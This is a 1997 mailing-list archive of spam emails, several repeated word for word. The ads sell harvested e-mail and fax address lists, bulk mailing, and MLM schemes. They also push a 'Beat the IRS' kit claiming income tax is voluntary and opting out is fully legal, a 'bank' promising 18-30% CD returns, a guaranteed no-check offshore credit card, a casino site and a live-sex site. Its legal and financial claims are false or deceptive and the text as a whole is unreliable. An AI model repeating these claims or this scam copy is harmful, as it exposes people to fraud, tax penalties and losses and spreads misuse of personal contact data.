

From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Biz-E-Wiz@usa.net
Date: Fri, 2 May 1997 20:37:15 -0700 (PDT)
Subject: "GOOD NEWS"             "The Good News Electronic Journal"
Message-ID: <m0wNVKb-00003AC@crash.cts.com>
MIME-Version: 1.0
Content-Type: text/plain


*****************************************************************
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Your subscription is appreciated. To unscribe: HIT reply, type
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                $5,000 and up deposit pays 30%.

         All % rates are per year and are not compounded.
            There is a 50% penalty for early withdrawal.
                All deposits have a 1 year maturity.
      All funds must remain on deposit for a least 6 months.
             Call Mr. Jon L. Boulet at 1-602-267-9688
        for more information or to make a deposit. Thanks!
******************************************************************
      100,000 E-MAIL ADDRESSES *** ON 3-1/2" DISK *** $19.95
         LINKCO MARKETING - POB 66781 - PHOENIX, AZ 85085
                      ***(602)267-9688***
******************************************************************
        3,800 FRESH HOT FAX NUMBERS ***$41*** ON 3-1/2 DISK
         LINKCO MARKETING - POB 66781 - PHOENIX, AZ 85085
                      ***(602)267-9688***
******************************************************************
            Come visit: http://The-Money-Mall.com
                 Earn and/or save a BUNDLE!!!
******************************************************************
  (YOUR 50 WORDS *** BULK E-MAILED) to (1.5 MILLION HOT PROSPECTS)
        ***SEND YOUR 50 WORDS ON 3-1/2 DISK + $129.95***
        LINKCO MARKETING - POB 66781 - PHOENIX, AZ 85085
                      ***(602)267-9688***
******************************************************************
                       ***GREAT NEWS!***
Learn my SECRET to build a large downline FAST! Make more MONEY
 than you've ever made in your life! Great News International
 has created a NEW and POWERFUL marketing concept and its own
 DOWNLINE GENERATOR to market the finest product package ever
                 offered through an MLM company!

A possible WEEKLY $8,968 with each group of 30 people!! Only $50
one time out of pocket! SATISFACTION MONEY BACK GUARANTEE! FREE
report, Valuable to all Networkers!
              ***Find Out How--Call 716-453-8952***
           ***Fax-On-Demand (703)904-7770 Doc. #404***
        ***InterNET: http://www.gnint.com/ir/jb4428.htm***
     ***Jon L. Boulet (602)267-9688 *** Sponsor ID #jb4828***
******************************************************************
Check out -LINKCO- (602)267-9688 1-11-pm (MST)
We offer the following:
1. Domain registration services.
2. Domain name sales, trades, and consignments.
3. Copywriting.
4. Typeseting and graphic design.
5. TAX advice and counseling.
6. E-mail address lists.
7. Fax number lists
8. Web page design and hosting.
9. Bulk e-mail software and e-mail address extractors.
10. Pop3 E-mail accounts that are bulk mail friendly.
11. FREE investment advice.
12. FREE MLM counseling.
13. Discount Bulk e-mailing service.
14. 9 cent/min. long distance service. Changing LD provider
    not required. FREEBIE, just call me.
15. Discount advertising - opportunity publications.
*************************************************************
Dear Entrepreneur,

How to get MORE ORDERS for ANYTHING YOU SELL! 

Hi, saw your posting online and was wondering  if you  market 
products/services using your computer and would like to learn
how to do  so QUITE a bit  better than  what you  are already
doing?

If so, just say the words  (words=MORE ORDERS) and I'll email
a  free,  helpful file  that could mean the  online marketing
difference  between  scintillating  success  and  frustrating
failure.  Just write me at: Linkco1@Juno.com  and a complete
information  package will be e-mailed to you ASAP.
*************************************************************
       ********* E-MAIL DIRECT MARKETING ************
Effective Direct Advertising at a cost you can afford......
CARD DECKS cost you about 2 cents per card or $2,000 per 
100,000. A post card size Advertisement in print cost about
$800 per 100,000 circulation.

BUT GET THIS !!!!! YOU can send your FULL 1 or 2 page sales
letter and order form to 100,000 anxious affluent computer
owners that are interested in your opportunity for ONLY: 
<<< $129 >>>  That's the power of E-Mail and it means more and
biger profits for YOU !!!!!

Your cost is about $1 per thousand to get your sales letter
out. If this doesn't make you BIG MONEY, NOTHING WILL!!

Send us your advertising copy on a 3-1/2" disk in ASCII (.TXT)
format along with this ad and your $129 check payable to:
(LINKCO). Mail to: LINKCO - POB 66791 - Phoenix, AZ 85082
QUESTIONS CALL: (602)267-9688  3-11PM (MST).
**************************************************************
**************************************************************
        10,000 BISINESS ENTREPRENEURS E-MAIL ADDRESSES
                *** ON 3-1/2" DISK *** $49.95 ***
       LINKCO MARKETING - POB 66781 - PHOENIX, AZ 85085
                      ***(602)267-9688***
**************************************************************
             *** 2,000 MLM'ers E-MAIL ADDRESSES ***
                *** ON 3-1/2" DISK *** $29.95 ***
       LINKCO MARKETING - POB 66781 - PHOENIX, AZ 85085
                      ***(602)267-9688***
**************************************************************
                             ***





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Biz-E-Wiz@usa.net
Date: Fri, 2 May 1997 21:04:22 -0700 (PDT)
Subject: "GOOD NEWS"             "The Good News Electronic Journal"
Message-ID: <m0wNVlw-00001rC@crash.cts.com>
MIME-Version: 1.0
Content-Type: text/plain


*****************************************************************
Thank you for Subscribing to "The Good News Electronic Journal".
Your subscription is appreciated. To unscribe: HIT reply, type
REMOVE in the subject area and HIT send.
                   Thank You, The Management
*****************************************************************
*** CHECKER Software -- Accept checks by Fax, Phone, or E-mail.
Reg. Retail Price $199 - <<<- GET IT NOW FOR $49.95 ->>> Send
this ad and payment to: Linkco - POB 66781 - Phoenix, AZ 85082
*****************************************************************

             ******************************
PLEASE IGNORE THIS MESSAGE IF YOU LIVE OUTSIDE THE USA
------------------------------------------------------
              BEAT-THE-IRS & PAY-NO-MORE
              --------------------------

Our PACKAGE, (Beat The IRS & PAY-NO-MORE) will teach you
EXACTLY how to EASILY:
           STOP FEDERAL Income Tax Withholding,
             STOP April filing of 1040 Form,
                           & 
            STOP THE IRS EXTORTION PERMANENTLY
-------------------------------------------------------
The IRS Federal Income System is based on VOLUNTARY 
COMPLIANCE.... We will teach you how to legally VOLUNTEER
OUT OF THE SYSTEM!
--------------------------------------------------------
- Your Success is ABSOLUTELY unconditionally GUARANTEED if
your were BORN in and LIVE in one of the 50 Republic States.
Our methods work every time for everybody. They are 100% legal, 
honest and ethical. We will pay anybody $1,000 if they can 
prove our method is ILLEGAL, DISHONEST or UNETHICAL!!! Our
method has worked for every person who has ever bought this
package without exception. NOBODY HAS EVER FAILED OR ASKED FOR
A REFUND!!!
            
- Our PACKAGE includes a LIFETIME, FREE, SIMPLE, Sizzling,
RED Hot 50% PAY OUT Dealership, PLUS ALL the marketing material
master copies you will ever need. YOUR PAYCHECKS WILL BE 10% TO
20% BIGGER EVERY WEEK, within 2 weeks of filing the proper forms
and affidavit. WHY NOT GIVE YOURSELF A RAISE THIS YEAR BY 
EXERCISING AND ENJOYING MORE OF YOUR CONSTITUTIONAL RIGHTS.
SET YOURSELF FREE!
-------------------------------------------------------------
Your package includes unlimited FREE phone consultations, a copy
of the U.S. Constitution, The Bill of Rights, forms, affidavits,
and much,  much more!

TO ORDER BY MAIL: Send this entire ad and a $35 Money Order to:
LINKCO --Dept. #1,  POB 66781 -- Phoenix, AZ 85082

To order by phone and Fax Check call our office at (602)267-9688
between the hours of 4 and 11pm Mountain Standard Time. You may 
also call just to ask questions. Thanks for reading this message!

Dealer #00001 
- (Unconditional Money Back Guarantee) - - Copyright 1996 Linkco -
*****************************************************************
From: FREEDOM STAR BANK -- P.O. Box 66781 -- Phoenix, AZ 85082
To Wise Investors,

         The Freedom Star National Bank of Arizona offers:
               "The More You Save The More You Earn".
        We offer only CD's, i.e., Certificates of Deposit.

                  $100-$999 deposit pays 18%.
                $1,000-$4,999 deposit pays 24%.
                $5,000 and up deposit pays 30%.

         All % rates are per year and are not compounded.
            There is a 50% penalty for early withdrawal.
                All deposits have a 1 year maturity.
      All funds must remain on deposit for a least 6 months.
             Call Mr. Jon L. Boulet at 1-602-267-9688
        for more information or to make a deposit. Thanks!
******************************************************************
      100,000 E-MAIL ADDRESSES *** ON 3-1/2" DISK *** $19.95
         LINKCO MARKETING - POB 66781 - PHOENIX, AZ 85085
                      ***(602)267-9688***
******************************************************************
        3,800 FRESH HOT FAX NUMBERS ***$41*** ON 3-1/2 DISK
         LINKCO MARKETING - POB 66781 - PHOENIX, AZ 85085
                      ***(602)267-9688***
******************************************************************
  (YOUR 50 WORDS *** BULK E-MAILED) to (1.5 MILLION HOT PROSPECTS)
        ***SEND YOUR 50 WORDS ON 3-1/2 DISK + $129.95***
        LINKCO MARKETING - POB 66781 - PHOENIX, AZ 85085
                      ***(602)267-9688***
******************************************************************
                       ***GREAT NEWS!***
Learn my SECRET to build a large downline FAST! Make more MONEY
 than you've ever made in your life! Great News International
 has created a NEW and POWERFUL marketing concept and its own
 DOWNLINE GENERATOR to market the finest product package ever
                 offered through an MLM company!

A possible WEEKLY $8,968 with each group of 30 people!! Only $50
one time out of pocket! SATISFACTION MONEY BACK GUARANTEE! FREE
report, Valuable to all Networkers!
              ***Find Out How--Call 716-453-8952***
           ***Fax-On-Demand (703)904-7770 Doc. #404***
        ***InterNET: http://www.gnint.com/ir/jb4428.htm***
     ***Jon L. Boulet (602)267-9688 *** Sponsor ID #jb4828***
******************************************************************
Check out -LINKCO- (602)267-9688 1-11-pm (MST)
We offer the following:
1. Domain registration services.
2. Domain name sales, trades, and consignments.
3. Copywriting.
4. Typeseting and graphic design.
5. TAX advice and counseling.
6. E-mail address lists.
7. Fax number lists
8. Web page design and hosting.
9. Bulk e-mail software and e-mail address extractors.
10. Pop3 E-mail accounts that are bulk mail friendly.
11. FREE investment advice.
12. FREE MLM counseling.
13. Discount Bulk e-mailing service.
14. 9 cent/min. long distance service. Changing LD provider
    not required. FREEBIE, just call me.
15. Discount advertising - opportunity publications.
*************************************************************
Dear Entrepreneur,

How to get MORE ORDERS for ANYTHING YOU SELL! 

Hi, saw your posting online and was wondering  if you  market 
products/services using your computer and would like to learn
how to do  so QUITE a bit  better than  what you  are already
doing?

If so, just say the words  (words=MORE ORDERS) and I'll email
a  free,  helpful file  that could mean the  online marketing
difference  between  scintillating  success  and  frustrating
failure.  Just write me at: Linkco1@Juno.com  and a complete
information  package will be e-mailed to you ASAP.
*************************************************************
       ********* E-MAIL DIRECT MARKETING ************
Effective Direct Advertising at a cost you can afford......
CARD DECKS cost you about 2 cents per card or $2,000 per 
100,000. A post card size Advertisement in print cost about
$800 per 100,000 circulation.

BUT GET THIS !!!!! YOU can send your FULL 1 or 2 page sales
letter and order form to 100,000 anxious affluent computer
owners that are interested in your opportunity for ONLY: 
<<< $129 >>>  That's the power of E-Mail and it means more and
biger profits for YOU !!!!!

Your cost is about $1 per thousand to get your sales letter
out. If this doesn't make you BIG MONEY, NOTHING WILL!!

Send us your advertising copy on a 3-1/2" disk in ASCII (.TXT)
format along with this ad and your $129 check payable to:
(LINKCO). Mail to: LINKCO - POB 66791 - Phoenix, AZ 85082
QUESTIONS CALL: (602)267-9688  3-11PM (MST).
**************************************************************
**************************************************************
        10,000 BISINESS ENTREPRENEURS E-MAIL ADDRESSES
                *** ON 3-1/2" DISK *** $49.95 ***
       LINKCO MARKETING - POB 66781 - PHOENIX, AZ 85085
                      ***(602)267-9688***
**************************************************************
             *** 2,000 MLM'ers E-MAIL ADDRESSES ***
                *** ON 3-1/2" DISK *** $29.95 ***
       LINKCO MARKETING - POB 66781 - PHOENIX, AZ 85085
                      ***(602)267-9688***
**************************************************************
                             ***





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Biz-E-Wiz@usa.net
Date: Fri, 2 May 1997 23:46:48 -0700 (PDT)
Subject: "GOOD NEWS"             "The Good News Electronic Journal"
Message-ID: <m0wNYGL-00009SC@crash.cts.com>
MIME-Version: 1.0
Content-Type: text/plain


*****************************************************************
Thank you for Subscribing to "The Good News Electronic Journal".
Your subscription is appreciated. To unscribe: HIT reply, type
REMOVE in the subject area and HIT send.
                   Thank You, The Management
*****************************************************************
*** CHECKER Software -- Accept checks by Fax, Phone, or E-mail.
Reg. Retail Price $199 - <<<- GET IT NOW FOR $49.95 ->>> Send
this ad and payment to: Linkco - POB 66781 - Phoenix, AZ 85082
*****************************************************************

             ******************************
PLEASE IGNORE THIS MESSAGE IF YOU LIVE OUTSIDE THE USA
------------------------------------------------------
              BEAT-THE-IRS & PAY-NO-MORE
              --------------------------

Our PACKAGE, (Beat The IRS & PAY-NO-MORE) will teach you
EXACTLY how to EASILY:
           STOP FEDERAL Income Tax Withholding,
             STOP April filing of 1040 Form,
                           & 
            STOP THE IRS EXTORTION PERMANENTLY
-------------------------------------------------------
The IRS Federal Income System is based on VOLUNTARY 
COMPLIANCE.... We will teach you how to legally VOLUNTEER
OUT OF THE SYSTEM!
--------------------------------------------------------
- Your Success is ABSOLUTELY unconditionally GUARANTEED if
your were BORN in and LIVE in one of the 50 Republic States.
Our methods work every time for everybody. They are 100% legal, 
honest and ethical. We will pay anybody $1,000 if they can 
prove our method is ILLEGAL, DISHONEST or UNETHICAL!!! Our
method has worked for every person who has ever bought this
package without exception. NOBODY HAS EVER FAILED OR ASKED FOR
A REFUND!!!
            
- Our PACKAGE includes a LIFETIME, FREE, SIMPLE, Sizzling,
RED Hot 50% PAY OUT Dealership, PLUS ALL the marketing material
master copies you will ever need. YOUR PAYCHECKS WILL BE 10% TO
20% BIGGER EVERY WEEK, within 2 weeks of filing the proper forms
and affidavit. WHY NOT GIVE YOURSELF A RAISE THIS YEAR BY 
EXERCISING AND ENJOYING MORE OF YOUR CONSTITUTIONAL RIGHTS.
SET YOURSELF FREE!
-------------------------------------------------------------
Your package includes unlimited FREE phone consultations, a copy
of the U.S. Constitution, The Bill of Rights, forms, affidavits,
and much,  much more!

TO ORDER BY MAIL: Send this entire ad and a $35 Money Order to:
LINKCO --Dept. #1,  POB 66781 -- Phoenix, AZ 85082

To order by phone and Fax Check call our office at (602)267-9688
between the hours of 4 and 11pm Mountain Standard Time. You may 
also call just to ask questions. Thanks for reading this message!

Dealer #00001 
- (Unconditional Money Back Guarantee) - - Copyright 1996 Linkco -
*****************************************************************
From: FREEDOM STAR BANK -- P.O. Box 66781 -- Phoenix, AZ 85082
To Wise Investors,

         The Freedom Star National Bank of Arizona offers:
               "The More You Save The More You Earn".
        We offer only CD's, i.e., Certificates of Deposit.

                  $100-$999 deposit pays 18%.
                $1,000-$4,999 deposit pays 24%.
                $5,000 and up deposit pays 30%.

         All % rates are per year and are not compounded.
            There is a 50% penalty for early withdrawal.
                All deposits have a 1 year maturity.
      All funds must remain on deposit for a least 6 months.
             Call Mr. Jon L. Boulet at 1-602-267-9688
        for more information or to make a deposit. Thanks!
******************************************************************
      100,000 E-MAIL ADDRESSES *** ON 3-1/2" DISK *** $19.95
         LINKCO MARKETING - POB 66781 - PHOENIX, AZ 85085
                      ***(602)267-9688***
******************************************************************
        3,800 FRESH HOT FAX NUMBERS ***$41*** ON 3-1/2 DISK
         LINKCO MARKETING - POB 66781 - PHOENIX, AZ 85085
                      ***(602)267-9688***
******************************************************************
  (YOUR 50 WORDS *** BULK E-MAILED) to (1.5 MILLION HOT PROSPECTS)
        ***SEND YOUR 50 WORDS ON 3-1/2 DISK + $129.95***
        LINKCO MARKETING - POB 66781 - PHOENIX, AZ 85085
                      ***(602)267-9688***
******************************************************************
                       ***GREAT NEWS!***
Learn my SECRET to build a large downline FAST! Make more MONEY
 than you've ever made in your life! Great News International
 has created a NEW and POWERFUL marketing concept and its own
 DOWNLINE GENERATOR to market the finest product package ever
                 offered through an MLM company!

A possible WEEKLY $8,968 with each group of 30 people!! Only $50
one time out of pocket! SATISFACTION MONEY BACK GUARANTEE! FREE
report, Valuable to all Networkers!
              ***Find Out How--Call 716-453-8952***
           ***Fax-On-Demand (703)904-7770 Doc. #404***
        ***InterNET: http://www.gnint.com/ir/jb4428.htm***
     ***Jon L. Boulet (602)267-9688 *** Sponsor ID #jb4828***
******************************************************************
Check out -LINKCO- (602)267-9688 1-11-pm (MST)
We offer the following:
1. Domain registration services.
2. Domain name sales, trades, and consignments.
3. Copywriting.
4. Typeseting and graphic design.
5. TAX advice and counseling.
6. E-mail address lists.
7. Fax number lists
8. Web page design and hosting.
9. Bulk e-mail software and e-mail address extractors.
10. Pop3 E-mail accounts that are bulk mail friendly.
11. FREE investment advice.
12. FREE MLM counseling.
13. Discount Bulk e-mailing service.
14. 9 cent/min. long distance service. Changing LD provider
    not required. FREEBIE, just call me.
15. Discount advertising - opportunity publications.
*************************************************************
Dear Entrepreneur,

How to get MORE ORDERS for ANYTHING YOU SELL! 

Hi, saw your posting online and was wondering  if you  market 
products/services using your computer and would like to learn
how to do  so QUITE a bit  better than  what you  are already
doing?

If so, just say the words  (words=MORE ORDERS) and I'll email
a  free,  helpful file  that could mean the  online marketing
difference  between  scintillating  success  and  frustrating
failure.  Just write me at: Linkco1@Juno.com  and a complete
information  package will be e-mailed to you ASAP.
*************************************************************
       ********* E-MAIL DIRECT MARKETING ************
Effective Direct Advertising at a cost you can afford......
CARD DECKS cost you about 2 cents per card or $2,000 per 
100,000. A post card size Advertisement in print cost about
$800 per 100,000 circulation.

BUT GET THIS !!!!! YOU can send your FULL 1 or 2 page sales
letter and order form to 100,000 anxious affluent computer
owners that are interested in your opportunity for ONLY: 
<<< $129 >>>  That's the power of E-Mail and it means more and
biger profits for YOU !!!!!

Your cost is about $1 per thousand to get your sales letter
out. If this doesn't make you BIG MONEY, NOTHING WILL!!

Send us your advertising copy on a 3-1/2" disk in ASCII (.TXT)
format along with this ad and your $129 check payable to:
(LINKCO). Mail to: LINKCO - POB 66791 - Phoenix, AZ 85082
QUESTIONS CALL: (602)267-9688  3-11PM (MST).
**************************************************************
**************************************************************
        10,000 BISINESS ENTREPRENEURS E-MAIL ADDRESSES
                *** ON 3-1/2" DISK *** $49.95 ***
       LINKCO MARKETING - POB 66781 - PHOENIX, AZ 85085
                      ***(602)267-9688***
**************************************************************
             *** 2,000 MLM'ers E-MAIL ADDRESSES ***
                *** ON 3-1/2" DISK *** $29.95 ***
       LINKCO MARKETING - POB 66781 - PHOENIX, AZ 85085
                      ***(602)267-9688***
**************************************************************
                             ***





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 68529733@22374.com
Date: Sun, 4 May 1997 02:59:37 -0700 (PDT)
To: lksjdfl@aol.com
Subject: Revolutionized!!!
Message-ID: <<199704300447.VAA02342@www.maildomain.com>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>
Bio Pac appologizes for any inconvenience this e-mail may cause. 
In no way does Bio Pac mean to offend or upset any persons, please
delete the e-mail if you are not interested. Thank you. 

Prostate problems!

If you or someone you know, are experiencing prostate trouble (which is
evidenced by difficulty in urinating, having to get up several times in
the night, weak stream and frequent urge to urinate), please check out
the following web site:

http://www.bio-pac.com/ps

You may find relief from your symptoms without pills or surgery!

Thank you for your consideration

</FONT><FONT  COLOR="#000000" SIZE=3>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: YES!@netcom.es
Date: Sun, 4 May 1997 20:25:55 -0700 (PDT)
To: node-9@gurnbraine.com
Subject: YOU ARE APPROVED!
Message-ID: <505770395032.UAA78760@ns2.foogi.com>
MIME-Version: 1.0
Content-Type: text/plain


$4000 MAJOR CREDIT CARD... GUARANTEED!!

EVERYONE QUALIFIES...UNSECURTED CREDIT CARD!!!

*  NO Credit Checks!
*  NO SSN Number Required!
*  Major Credit Card $4000 Limit, UNSECURED!!
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*  LINE OF CREDIT...$15,000 UNSECURED, 5.95% Interest Rate Per Annum!
*  Offshore For Complete Financial Privacy!
*  WORLDWIDE Acceptance At More Than 8 MILLION Locations!
*  INSTANT CASH ADVANCES At More Than 350,000 Banks & ATM's!!
*  MLM With $25.00 Fast Start Bonus!
*  3X6 Forced Matrix... With High Demand, You'll Fill It Within 30 Days!!

                          ABSOLUTELY GUARANTEED!!!!!


For complete information AND application go to:

FAX ON DEMAND:  415-273-6168 Doc# 1

*************************************************************
*IMPORTANT*   In order for your application to processed properly, please use sponsor id# 542 
*************************************************************


                          ABSOLUTELY GUARANTEED!!!!!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Service@iBase.net
Date: Tue, 6 May 1997 01:15:10 -0700 (PDT)
To: Service@iBase.net
Subject: Win up to $4,950.00 Instantly with Cyber Casino
Message-ID: <19970506015410391.AAC162@[206.244.171.171]>
MIME-Version: 1.0
Content-Type: text/plain


Win up to $4,950.00 Instantly with Cyber Casino, found at http://www.iBase.net/InternetCasino.  See you there!

"Because face it......MONEY MATTERS!"


///////////////////////////////////////////////////////////////////////////////
 If you wish to be removed from this advertiser's future mailings, please reply 
with the subject "Remove" and this software will automatically block you 
from their future mailings.
////////////////////////////////////////////////////////////////////////////////






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: youtoocanmake@lotsof.money
Date: Tue, 6 May 1997 03:19:35 -0700 (PDT)
To: okmnji@nhdtytgb.com
Subject: Read about this NEW income making opportunity!
Message-ID: <548638572264.SWT46523@nhdtytgb.com>
MIME-Version: 1.0
Content-Type: text/plain


Do you know how to use email? Then you should be making money hand over fist on the Internet!  By the time you're finished reading this letter, you'll know EXACTLY how I'm doing it, and how YOU can too!

Here we go...

Introducing "The NEW Complete Internet Business Starter Kit!!!"

If you can spare just 5 minutes of your time, I promise to deliver an opportunity unlike anything you've ever seen!

     You CAN start a very profitable business on the
     Internet WITHOUT spending a lot of money!

How would you like to start a spare time business with YOUR OWN kit of cutting edge information products? What if everything in the kit came with unlimited and unrestricted ownership rights? You could sell this much sought after information for whatever price you wanted!  And get this... You could even offer those rights along with your products! You'll be helping others start their own business!

    Would you be interested in an opportunity like this?
    How about if all the work has been taken out of it?

As you know, there are many "business opportunities" floating around on the Internet. Some great, some not so great. But how can you tell the REAL opportunities from the money pits?  YOU CAN'T! All you can do is choose a path and hope it's not a dead end.  If you CAN find the right opportunity, you can make a bundle of money in a very short time. Here's why...

The "Internet population explosion" is now under way. The actual numbers are a little hard to fathom, but here they are...  In 1996 alone, over A MILLION people per MONTH have been signing up with an internet access provider! That's over 12 MILLION people per year! Even if this rate remains the same, and many expect it to increase, there will be more than 100 MILLION people online by the year 2000!

So what does this mean to you? Simple. Like you, many of these 12 million newcomers per year will be looking for legitimate business opportunities. They'll also be looking for specialized information that will teach them how to start and operate their own high income, online business.  The fact is, there are simply just not enough sources to meet these overwhelming demands!

           That's where you come in!

You can meet BOTH of these demands with this NEW Complete Internet Business Starter Kit!

Now, in a minute I'm going to tell you exactly what this information kit consists of. But before I do, I want to explain how it's a little different from ALL the others...

Everything in this kit comes with UNLIMITED AND UNRESTRICTED REPRODUCTION RIGHTS!

O.K. So you've seen reprint/reproduction rights being sold before.

*** BUT NOT LIKE THIS!! ***

"UNRESTRICTED" means just that! Not only can you sell this kit as YOUR VERY OWN, you can sell ALL rights along with it!  That's what makes this kit sell with very little effort!  Check around! You'll never find another company that lets you do this!  (Actually, I've taken a little heat from some of my fellow information brokers over this decision. They insist I'll create my own competition. But when I explain the raw numbers of people jumping online every month, they seem to quiet down very quickly!)

All right, here's what this exciting new information kit consists of...

1. "The Information Freeway!"   It covers everything from rules and regulations, to how to use the newest online marketing strategies, including direct email! 

You'll learn everything you need to know about this brand new world of opportunity!

2. 300 new reports designed to help upstart entrepreneurs!  These aren't the typical out of date reports that circulate till the end of time. Originally published in 1996, these reports contain real info you can use! Check these out...

How To Protect Your PC From Email Viruses, How To Get Over 300 Prospects To Email You Weekly, Insiders Secrets On Advertising With The Major Online Services, What's Wrong with The World Wide Web, and Taxes For The Home Based Business Owner, and many, many more!

3.  A free copy of the latest version of Pegasus, the most advanced e-mail software ever, and by far the easiest to use.  With Pegasus you can send out 500, 1,000, even 50,000 sales letters every single day.

4.  A working demo copy of Email Pro, the brand new $500 software used by all the major online marketers.  With Email Pro you can extract thousands of targeted e-mail addresses per hour from the major online services.

5.  100,000 freshly extracted e-mail addresses of opportunity seekers and multi-level enthusiasts.  All of these addresses are from the major online services and the Internet.  America On Line, Prodigy, CompuServe, Microsoft Network, Genie and Delphi.  These are people who enjoy reading about new opportunities and they are Buyers.

6. And get a load of this!! To make this a Complete Internet Business Starter Kit, you'll get your own customized version of this same sales letter. You can use any or the entire letter as your very own! All the "work" has been done for you! It just doesn't get any easier than this!

        O.K. Let's get down to the nitty gritty! 

I'm sure you're thinking, "O.K. Sounds good, but how much is this gonna set me back financially"? You've seen what everyone else is charging for information that's not nearly as comprehensive as this..$200? $100? $59.95?

            Well, Prepare To Be Shocked!

The entire NEW Complete Internet Business Starter Kit is only $39.95... plus $5.50 Shipping & Handling

Sound too good to be true? That's what others have said.  That is, until they received their kit and saw for themselves just how easy it is to make money on the net!

Here's a little more incentive to check this out...
      
        2 FREE BONUSES FOR EVERYONE WHO ORDERS WITHIN 7 DAYS!!!

1. The List! Did you know there are over 1,000 FREE and ALMOST FREE advertising sites?  I'll include a listing of the addresses. (There's a section in the manual that teaches you exactly how to post ads at these sites.)

2.   An EXTRA 100,000 fresh e-mail addresses of opportunity seekers and multi-level enthusiasts.  That will give you 200,000 eager buyers to mail this and any other offer you may have.  This list has been known to pull as much as a 15% response rate.  Can you imagine how much money you'll make with even a 2 or 3 per cent response?

Well, that's about it. As you can see, this is truly a Complete Internet Business Starter Kit! Right down to your own deal closing sales letter! You're already paying to be online, why not make some money? Even if you sell ONLY ONE KIT, you've broken even! Everything after that is pure profit!

Now that you know what you stand to gain, let's consider what you have to spend. Just $39.95!  This is a small cost for the collection of reports and information that can have you in business, the day you receive your information package.

Remember, not only will you be learning the most up to date information about making money online, you'll be teaching others how to succeed! (And making money in the process!)

########################  NEW ADDITIONAL OFFER  ##################

Question: Remember when you first considered going on line?  You had dozens of questions and didn't know where to go for the answers.  

Many of us that had these questions started reading newspaper and magazine articles to familiarize ourselves with this new media!  We also started reading "classified ads" to see what others are doing on-line!

GUESS WHAT?   MILLIONS ARE DOING THE SAME, TODAY!

With the rapid expansion of the Internet, the information in the $39.95 Business Kit is a necessity, today.  But many CUSTOMERS that I've spoken with have a desire to market this package in the 'Print Media', as I do (magazines & newspapers, etc.)

The Business Kit gets you "Safely" up and running on the Internet, but what about those who are just coming on line.  Or those just considering if it's PROFITABLE to go on line with their business?? This segment of the population is still reading Newspapers and Magazines to see what they can learn about the subject before 'jumping-in'.  

Being involved in Multi-Level-Marketing and Mail-order businesses have taught me a great deal through the years. I've made plenty of mistakes along the way.

              ***************YOU DON'T HAVE TO!!!!**************

I've developed an additional package of information to compliment the
Internet Business Starter Kit.  I call this the 'PLUS' package.  How can this help you?

1. Do you know the best newspapers to advertise in?  

(I'll supply a listing of hundreds of newspapers and their phone numbers!)

2. Do you know where to get an 800 number with voice mail for advertising at the very lowest possible price?  (Including too many benefits to list)  (I'm constantly updating information to provide the best possible programs and pricing!)

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SPECIAL OFFER............................IF YOU ORDER WITHIN 7 DAYS !!!

I'LL SEND THE 'STARTER KIT', PLUS THE ADDITIONAL PACKAGE FOR THE TOTAL PRICE OF $34.95 and I'll pay the shipping & handling myself.  That will save you an additional $10.50!
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

Thank you for your time.

Just use a blank piece of paper to order, or you may print this document and use the order form below.

To Order:  SELECT ONE:.....................

I am ordering within 7 days. Send me The NEW Complete Internet Business Starter Kit for the total price of $34.95______

I am ordering after the 7 day period.  Send me The NEW Complete Internet Business Starter Kit for $39.95 + $5.50 S&H.  $45.45_____

Send Checks or money order for AMOUNT SELECTED ABOVE.  Note: ALL ORDERS ARE SHIPPED AS SOON AS POSSIBLE, Please make checks or money orders payable to:

VIPLabs
P.O. Box 1164
Claremore, OK  74018

Your information:   please fill in completely  (Internal Code 1940.008)

NAME______________________________________________________

ADDRESS___________________________________________________

CITY_______________________ STATE__________  ZIP____________

E-MAIL ADDRESS____________________________________________

TELEPHONE NUMBER: _______________________________required for personal checks


I Authorize VIPLabs to charge an additional $30.00 fee if my check is returned for insufficient or uncollectable funds.

SIGNATURE: x_______________________________  DATE: x___________________
If ordering from outside U.S. please add $10 to normal S&H charge.

Credit Card Orders
If you prefer, you can order by credit card.  We accept Visa, MasterCard, Discover or American Express. 

Visa____MasterCard____Discover____American Express____

Name as it appears on card______________________

Address (City, State, Zip) as it appears on card__________

Account number__________________

Expiration Date_________

SIGNATURE: x________________________________  Date: x________________


THE MARKET IS HERE - TODAY!      TAKE ADVANTAGE OF IT!!!!!
After you receive your kit, I'll answer any questions time permits via email. 
I'm looking forward to helping you succeed in your new business!
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sexeygirltoy@06137.com
Date: Sat, 30 Aug 1997 14:56:05 -0700 (PDT)
To: poASXstm2312312aster@aol.com
Subject: Live Sex..NO VIDEO DELAY..Like TV!|
Message-ID: <QSD123\123421442.com>
MIME-Version: 1.0
Content-Type: text/plain


Live Interactive Video Sex.  FIRST 5 MINUTES FREE

Wouldn't you like to see a Live Girl on
your computer Screen??? Now the girl can see you as well - Featuring Two
way video. This video service is not like others. There is no video
delay, and the screen is crystal clear and big, just like a T.V. You can
also talk to her on a voice line as you are watching her do it all just
for you. Our Live video is so good that we are giving you 5 Free min. to
show you that we are the best.

Hurry up and visit our website at 

http://209.14.198.122/livesex.htm

Me and my friends are waiting for you now and will do anything
you want us to.

Love Savanah,
XOXOXO

P.S. If you have a quick cam don't forget to plug it in. Me and my
friends will love to see you as well!!!!

http://209.14.198.122/livesex.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 2m@ALLVIP.COM
Date: Tue, 6 May 1997 18:24:23 -0700 (PDT)
To: 2m@ALLVIP.COM
Subject: Get 2 Million Email Addresses Today - ONLY $99   ALL DELIVERABLE
Message-ID: <199705062050.QAB00412@fp.allvip.com>
MIME-Version: 1.0
Content-Type: text/plain


    * To Remove:  Please hit reply & type "remove" in the subject

